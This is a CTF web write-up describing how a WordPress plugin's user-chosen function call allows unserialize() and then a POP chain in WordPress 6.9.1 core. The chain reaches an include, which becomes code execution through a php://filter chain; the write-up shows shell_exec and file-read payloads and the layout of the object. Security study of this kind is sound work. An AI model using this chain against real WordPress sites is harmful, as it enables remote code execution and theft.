##                       ##

########           ########

############   ############

 ###########   ########### 

   #########   #########   

"@_    #####   #####    _@"

#######             #######

############   ############

############   ############

############   ############

######    "#   #"    ######

 #####               ##### 

  #####             #####  

    ####           ####    

       '####   ####'       

D
O

N
O
T

F
E
E
D

T
H
E

B
U
G
S

Cool Template Revenge

[Cloudfest, 2026]

category: web

by LosFuzzys

Cool Templates Revenge Writeup

Overview

The challenge is a WordPress site with a custom plugin that appends a footer. The intended defense is a blacklist around a user-controlled function call, but the real vulnerability is worse: the plugin lets the client call arbitrary PHP built-ins, including unserialize().

Target code from the plugin:

if (isset($_REQUEST['template']) && isset($_REQUEST['content'])) {
    $template = strtolower($_REQUEST['template']);
    $content = wp_unslash(urldecode(base64_decode($_REQUEST['content'])));
    if(preg_match('/^[a-zA-Z0-9]+$/', $template) && !in_array($template, $blacklist)) {
        $footer = $template($content);
        echo $footer;
    }
}

So the request controls:

  • template: the function name to call
  • content: the argument, after base64_decode()

Because unserialize is not blacklisted, this becomes unauthenticated PHP object injection.

Bug

The core issue is:

$footer = $template($content);
echo $footer;

with template=unserialize.

That means the application effectively does:

echo unserialize($attacker_controlled_data);

This is enough for a POP chain in WordPress core.

Why the blacklist is irrelevant

The plugin tries to block dangerous functions like system, exec, file_get_contents, etc. But once unserialize() is reachable, the blacklist no longer matters. We can deserialize a chain of existing WordPress objects that eventually reaches a dangerous sink inside core code.

Relevant WordPress core gadgets

The target runs WordPress 6.9.1. That matters because 6.9.2 added a fix specifically blocking one of the gadgets:

  • WP_HTML_Tag_Processor::__wakeup() was added in 6.9.2
  • WP_Block_Patterns_Registry::get_content() was hardened in 6.9.2

The chain used here is:

  1. WP_HTML_Tag_Processor::__toString()
  2. WP_HTML_Tag_Processor::get_updated_html()
  3. WP_HTML_Tag_Processor::class_name_updates_to_attributes_updates()
  4. WP_Block_List::offsetGet()
  5. WP_Block::__construct()
  6. WP_Block_Patterns_Registry::get_registered()
  7. WP_Block_Patterns_Registry::get_content()
  8. include $patterns[$pattern_name]['filePath']

That last step is the sink.

In 6.9.1, the vulnerable sink is:

if ( ! isset( $patterns[ $pattern_name ]['content'] ) && isset( $patterns[ $pattern_name ]['filePath'] ) ) {
    ob_start();
    include $patterns[ $pattern_name ]['filePath'];
    $patterns[ $pattern_name ]['content'] = ob_get_clean();
    unset( $patterns[ $pattern_name ]['filePath'] );
}

So if we control registered_patterns, we control an include.

Triggering the chain

We need an object whose string conversion is triggered automatically, because the plugin does:

echo $footer;

If unserialize() returns an object, echo invokes __toString().

The entry gadget is WP_HTML_Tag_Processor::__toString():

public function __toString(): string {
    return $this->get_updated_html();
}

Inside get_updated_html(), if classname_updates is non-empty, it calls class_name_updates_to_attributes_updates(). That method accesses:

$this->attributes['class']

If attributes is not a normal array but a WP_Block_List, then offsetGet('class') runs.

WP_Block_List::offsetGet() constructs a WP_Block using attacker-controlled data:

$block = new WP_Block( $block, $this->available_context, $this->registry );

Then WP_Block::__construct() calls:

$this->block_type = $registry->get_registered( $this->name );

So if registry is actually a WP_Block_Patterns_Registry instance, we pivot into get_registered(), then get_content(), then the controlled include.

Why direct file inclusion is not enough

If filePath is just /flag-...txt, the file gets included inside ob_start() and stored into a pattern buffer. That does not necessarily show up directly in the response in a useful way.

So the intended move is to use the include sink for code execution, not plain read.

Turning include into code execution

I used a standard php://filter include chain to generate a PHP payload at include time.

First I verified code execution with:

<?php die("PWNED"); ?>

Then I used:

<?php die(shell_exec('ls -la /')); ?>

That listed the root directory and revealed the real flag filename:

/flag-adgwDT374Jcp5tINNZeU.txt

Finally I used:

<?php die(file_get_contents('/flag-adgwDT374Jcp5tINNZeU.txt')); ?>

and got the flag.

Payload structure

The serialized top-level object was a WP_HTML_Tag_Processor with these important properties:

  • html = "foobar"
  • classname_updates = [1]
  • attributes = WP_Block_List

The WP_Block_List contained:

  • blocks['class'] = ['blockName' => 'test', 'innerBlocks' => [], 'innerHTML' => '', 'innerContent' => []]
  • registry = WP_Block_Patterns_Registry

The WP_Block_Patterns_Registry contained:

  • registered_patterns['test']['filePath'] = <php://filter chain>
  • registered_patterns['test']['name'] = 'test'

Then the whole serialized blob was base64-encoded and sent as content, with template=unserialize.

Exploit flow

  1. Send template=unserialize
  2. Base64-decode attacker data
  3. unserialize() returns WP_HTML_Tag_Processor
  4. Plugin does echo $footer
  5. WP_HTML_Tag_Processor::__toString() executes
  6. Internal property access pivots through WP_Block_List and WP_Block
  7. WP_Block_Patterns_Registry::get_content() performs controlled include
  8. Included php://filter payload executes attacker PHP
  9. Enumerate /, then read the real flag file

Flag

CTF{revenge_this_cool_template_1337_78e1068b}

Takeaway

The service was "fixed" by blacklisting obvious dangerous functions, but the real primitive was still arbitrary function invocation. Once unserialize() is reachable on attacker-controlled input, WordPress core provides the rest. The blacklist did not address the actual trust boundary at all.

/writeups/ $

$